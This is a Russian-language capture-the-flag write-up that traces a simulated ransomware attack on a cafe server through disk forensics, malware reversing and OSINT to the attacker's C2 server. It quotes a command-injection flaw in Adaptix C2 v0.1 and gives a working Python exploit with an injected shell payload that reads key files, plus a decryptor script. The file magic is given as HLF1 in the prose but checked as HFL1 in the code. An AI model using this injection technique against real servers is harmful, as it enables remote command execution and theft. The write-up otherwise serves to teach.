April 29

Хак на лавандовом

АльфаЦТФ 2026

Сложность: Hard
Категории: Forensics, Linux, OSINT, Web
Автор задания: Никита Ильин (@yanik1ta), SPbCTF

Описание:

Сегодня с утра вы, как обычно, зашли в любимую спешалти-кофейню Northwind Coffee Roasters за единственным в нашем городе рафом на лавандовом. Но в эту субботу что-то не так: у стойки стоит очередь, не движется. Бариста, обычно улыбчивая и быстрая, смотрит в экран кассы с выражением человека, который только что увидел, как его машина уезжает без него.

Оказалось, какой-то злодей зашифровал их сервер с кассой и всей бухгалтерией. Так дело не пойдёт, без кофе вы сегодня не уйдёте! Вы расталкиваете очередь и вызываетесь всё исправить и расшифровать.

Образ диска: CAFE_DISK_IMAGE.7z

Шаг 1 - Первичный анализ

Таск встречает нас двумя файлами образа диска в формате EnCase / Expert Witness Format (EWF). Откроем их в AutoPsy (можно и просто замонтировать в линукс) для первичного анализа файлов.

Сразу можно заметить много подозрительных файлов с расширением GSenc, предположительно зашифрованных. Все они имеют одинаковую структуру и сигнатуру HLF1. Дата и время шифрования файлов - 2026-03-22 20:44:43 MSK.

Пример зашифрованного файла

Поиск в интернете по сигнатуре файла, расширению по известным шифровальщикам результатов не дал, поэтому будем искать артефакты на хосте.

По пути /home/user/Documents/NorthwindCoffee/accounting/ был найден flag.txt.GSenc, предположительно флагстор таска.

bash_history почищен, в других логах артефактов запуска подозрительных файлов также не обнаружено, но в /var/tmp были обнаружены два файла:

Подозрительные файлы в /var/tmp

Зареверсим их чтобы узнать, что они делают.

Шаг 2. Реверс вредоносов

Начнем с GS-encrypt, судя по названию это шифровальщик, который и энкриптнул все данные. Так как наша основная цель - восстановить flag.txt, то нам надо понять как шифруются файлы и как их дешифровать.

GS-encrypt - бинарник, написанный на GO.

Судя по флагам программы, это действительно наш шифратор.

флаги программы

В нем используется RSA. В функции main_loadPublicKey у нас в память записывается строчка с публичным ключом RSA для шифрования.

Публичный ключ RSA

Cхема шифрования следующая:

Чтобы зашифровать файл надо:

1. Использовать 32 случайных байта как AES_key для AES-256-GCM
2. Сгенерировать случайный nonce длиной gcm.NonceSize()
3. Зашифровать содержимое файла через AES-256-GCM
4. Зашифровать AES_key публичным RSA-ключом через RSA-OAEP-SHA256
5. Сформировать бинарный контейнер:

Формат выходного файла такой:

offset size field
0x00 4 magic
0x04 1 version
0x05 1 key algorithm id
0x06 1 data algorithm id
0x07 2 wrapped key length, uint16 big-endian
0x09 2 nonce length, uint16 big-endian
0x0B 4 ciphertext length, uint32 big-endian
0x0F N RSA-OAEP-SHA256 encrypted AES key
0x0F+N M AES-GCM nonce
0x0F+N+M K AES-GCM ciphertext + GCM auth tag

Для расшифровки нужно:

1. Прочитать первые 15 байт заголовка
2. Проверить magic/version/algo ids
3. Прочитать keyenc_len, nonce_len, ciphertext_len как big-endian
4. Извлечь keyenc, nonce, ciphertext
5. Расшифровать keyenc приватным RSA-ключом через RSA-OAEP-SHA256
6. Получить AES_key
7. Расшифровать ciphertext через AES-256-GCM с nonce и AAD=nil

Но в GS-encrypt приватного ключа RSA не найдено, идем дальше

agent.bin - более объемный, выполняет роль c2 агента для удаленного доступа атакующего к системе. Самое интересное, что мы можем достать отсюда - IP адрес или домен C2 сервера.

в main_main вызывается net_Dial

которой в параметры передается ip/domain сервера, который хранится в qword_A23888.

До этого у нас вызывается gopher_utils_DecryptData, где первые 16 байт v0 - ключ, остальное данные.

который после дешифровки кладет данные в Profile, Profile.Adresses которого потом как раз перемещается в qword_A23888

Данные которые дешифруются лежат в off_A17B30 -> off_A17B50 -> unk_9F59A0

Первые 16 байт - ключ, оставшиеся - данные. Общее количество данных - 0xA7 (лежало в off_A17B50)

Чтобы расшифровать, используем обычный AES-GCM, использующийся в gopher_utils_DecryptData. Первые 12 байт после key - nonce

key (16 bytes):
51 D9 74 9D F3 F6 42 D1 CC E3 44 38 82 D3 E6 4E

nonce:
7E 11 7D 14 AF D7 3F 92 06 9E F2 FC

encrypted+tag:
6B E7 18 70 78 BC 17 09 E8 64 20 74 71 E0 C5 19 8C 64 93 DC
76 58 95 C4 6C 73 71 F7 DB 65 72 1D 6E 88 1D 13 6B C7 1C AB
26 8A 74 D9 EA A9 EF 2A 40 B8 69 7F DA C0 A1 19 D8 D0 73 81
36 48 4A C5 31 98 AE 16 87 DA 4F 50 BB BD BE C6 5B 55 7B F0
F4 D6 41 AE C0 D7 7C F8 B9 DA 04 03 09 62 91 0F 49 33 73 B7
AE A9 E9 E9 B8 0C 39 51 A0 B3 7A 8D 5C 56 41 05 24 3E 2F 5D
6D 06 FB 4D A5 5A A7 52 C2 CA 9B 00 79 53 0F 4E 31 5E E5

Расшифровав и распарсив msgpack, получаем

{
  "type": 2421052563,
  "addresses": [
    "cc.gigashad.xyz:4444"
  ],
  "banner_size": 17,
  "conn_timeout": 10,
  "conn_count": 1000000000,
  "use_ssl": false,
  "ssl_cert": null,
  "ssl_key": null,
  "ca_cert": null
}

Нашли домен и порт c2 сервера, будем копать туда.

Шаг 3. Gigashad

На cc.gigashad.xyz уже ничего не висит, но на основном домене gigashad.xyz есть сайт, на котором есть ссылка на телеграм-канал атакующего.

В телеграм канале несколько постов, в том числе пост о взломе и шифровании хоста, образ которого у нас есть, несколько постов для наполнения, но самый примечательный из всех постов - туториал по установке Adaptix C2 сервера.

В этом видео он "случайно" сливает важную информацию:

Содержимое корневой директории

Дату съемки видео

Запуск сервера на стандартном профиле

Пароль из 4 символов и имя аккаунта

Все для подключения к серверу

Шаг 4. Adaptix C2 0.1

Если мы перейдем по ссылке (которая тоже была в видео) на гитхаб Adaptix C2 сервера, то увидим, что 26.01.2025 вышла версия Adaptix C2 0.1

Склоним, переключимся на этот коммит, забилдим и попытаемся подключиться к серверу:

Пароль по умолчанию - pass

У нас действительно получилось подключиться, но клиент пустой, ничего нету, кроме попыток что-то сделать другими участниками.

Так как мы знаем что Adaptix C2 сервер запущен на хосте, где лежат DECRYPTION_KEYS, и единственный способ достучаться до этого хоста - через этот сервер, возникло предположение что в версии 0.1 существует некое RCE или задуманный функционал, позволяющий читать файлы на хосте.

Изучив исходный код сервера Adaptix v0.1 была найдена уязвимость типа command injection в ручке /agent/generate.

Изначально эта ручка должна была просто создавать бинарь под нужный listener, и отдать payload клиенту. Ручкой ожидался пейлоад типа:

{
  "os": "windows",
  "arch": "x64",
  "format": "Exe",
  "sleep": "4s",
  "jitter": 0,
  "svcname": "AgentService"
}

Но поле svcname небезопасно подставлялось в команду, которая вызвается через exec.Command.

pl_agent.go

agentProfileSize := len(agentProfile) / 4
cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DSERVICE_NAME='\"%s\"' -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o",
    Compiler, CFlag, ObjectDir, generateConfig.SvcName, string(agentProfile), agentProfileSize, tempDir)

runnerCmdConfig := exec.Command("sh", "-c", cmdConfig)
runnerCmdConfig.Dir = currentDir
runnerCmdConfig.Stdout = &stdout
runnerCmdConfig.Stderr = &stderr
err = runnerCmdConfig.Run()
if err != nil {
    os.RemoveAll(tempDir)
    return nil, "", errors.New(string(stderr.Bytes()))
}

svcname подставлялось в команду вместо -DSERVICE_NAME='\"%s\"', и если в svcname подать пейлоад типа x' ; ({cmd}) >&2; exit 1; #, то agent/generate вместо бинаря возвращал вывод команды cmd.

Перед отправлением этой команды, необходимо создать listener на /listener/create.

Это полный RCE на хосте атакующего, по факту можно было сделать все что угодно, но так как нам необходимы только ключи для нашего образа, вытащим их:

import base64
import json
import secrets

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "https://lab.gigashad.xyz:4321/endpoint"
DIR = "/DECRYPTION_KEYS/Northwind_Coffee_Roasters"

r = requests.post(f"{URL}/login", json={"username": "gigashad", "password": "pass"}, verify=False, timeout=15)
token = r.json()["access_token"]
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

name = "L" + secrets.token_hex(4)
listener = {
    "host_bind": "0.0.0.0",
    "port_bind": "9999",
    "callback_port": "9999",
    "callback_servers": "lab.gigashad.xyz",
    "urn": "/beacon.php",
    "http_method": "POST",
    "hb_header": "X-Beacon-Id",
    "user_agent": "Mozilla/5.0",
    "host_header": "",
    "request_headers": "",
    "x-forwarded-for": False,
    "page-error": "404",
    "page-payload": "OK <<<PAYLOAD_DATA>>> DONE",
    "server_headers": "",
}
requests.post(
    f"{URL}/listener/create",
    headers=headers,
    json={"name": name, "type": "external/http/BeaconHTTP", "config": json.dumps(listener)},
    verify=False,
    timeout=20,
)

svc = f"x' ; (cat {DIR}/* | base64 -w0) >&2; exit 1; #"
agent = {
    "listener_name": name,
    "listener_type": "external/http/BeaconHTTP",
    "agent": "beacon",
    "config": json.dumps({"os": "windows", "arch": "x64", "format": "Exe", "sleep": "1s", "jitter": 0, "svcname": svc}),
}
r = requests.post(f"{URL}/agent/generate", headers=headers, json=agent, verify=False, timeout=60)
data = [x.strip() for x in r.json()["message"].splitlines() if x.strip()][-1]

open("recovered_keys.bin", "wb").write(base64.b64decode(data))
print("saved recovered_keys.bin")

В recovered_keys.bin будет содержание и приватного, и публичного ключа для расшифровки GSenc файлов.

Шаг 5. Финал

Осталось лишь написать дешифатор для расшифровки файлов из образа:

import argparse
import re
from pathlib import Path

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA


def load_private_key(path: Path):
    data = path.read_text("utf-8", errors="ignore")
    m = re.search(
        r"-----BEGIN RSA PRIVATE KEY-----.*?-----END RSA PRIVATE KEY-----",
        data,
        re.S,
    )
    if not m:
        raise ValueError("private RSA key not found")
    return RSA.import_key(m.group(0))


def parse_gsenc(data: bytes):
    if len(data) < 15:
        raise ValueError("file too short")
    if data[:4] != b"HFL1":
        raise ValueError("bad magic")

    version = data[4]
    key_algo = data[5]
    data_algo = data[6]
    key_len = int.from_bytes(data[7:9], "big")
    nonce_len = int.from_bytes(data[9:11], "big")
    ct_len = int.from_bytes(data[11:15], "big")

    if version != 1 or key_algo != 1 or data_algo != 1:
        raise ValueError(f"unsupported header: version={version} key_algo={key_algo} data_algo={data_algo}")

    pos = 15
    keyenc = data[pos:pos + key_len]
    pos += key_len
    nonce = data[pos:pos + nonce_len]
    pos += nonce_len
    ciphertext = data[pos:pos + ct_len]

    if len(keyenc) != key_len or len(nonce) != nonce_len or len(ciphertext) != ct_len:
        raise ValueError("truncated container")
    return keyenc, nonce, ciphertext


def decrypt_file(enc_path: Path, key_path: Path, out_path: Path):
    keyenc, nonce, ciphertext = parse_gsenc(enc_path.read_bytes())
    priv = load_private_key(key_path)
    aes_key = PKCS1_OAEP.new(priv, hashAlgo=SHA256).decrypt(keyenc)
    plain = AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ciphertext[:-16], ciphertext[-16:])
    out_path.write_bytes(plain)
    return plain


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("enc", nargs="?", default="flag.txt.GSenc")
    ap.add_argument("-k", "--key", default="recovered_keys.bin")
    ap.add_argument("-o", "--out")
    a = ap.parse_args()

    enc = Path(a.enc)
    out = Path(a.out or enc.with_suffix(""))
    plain = decrypt_file(enc, Path(a.key), out)
    print(f"saved {out}")
    try:
        print(plain.decode())
    except UnicodeDecodeError:
        print(plain)


if __name__ == "__main__":
    main()

После расшифровки flag.txt.GSenc, получили флаг: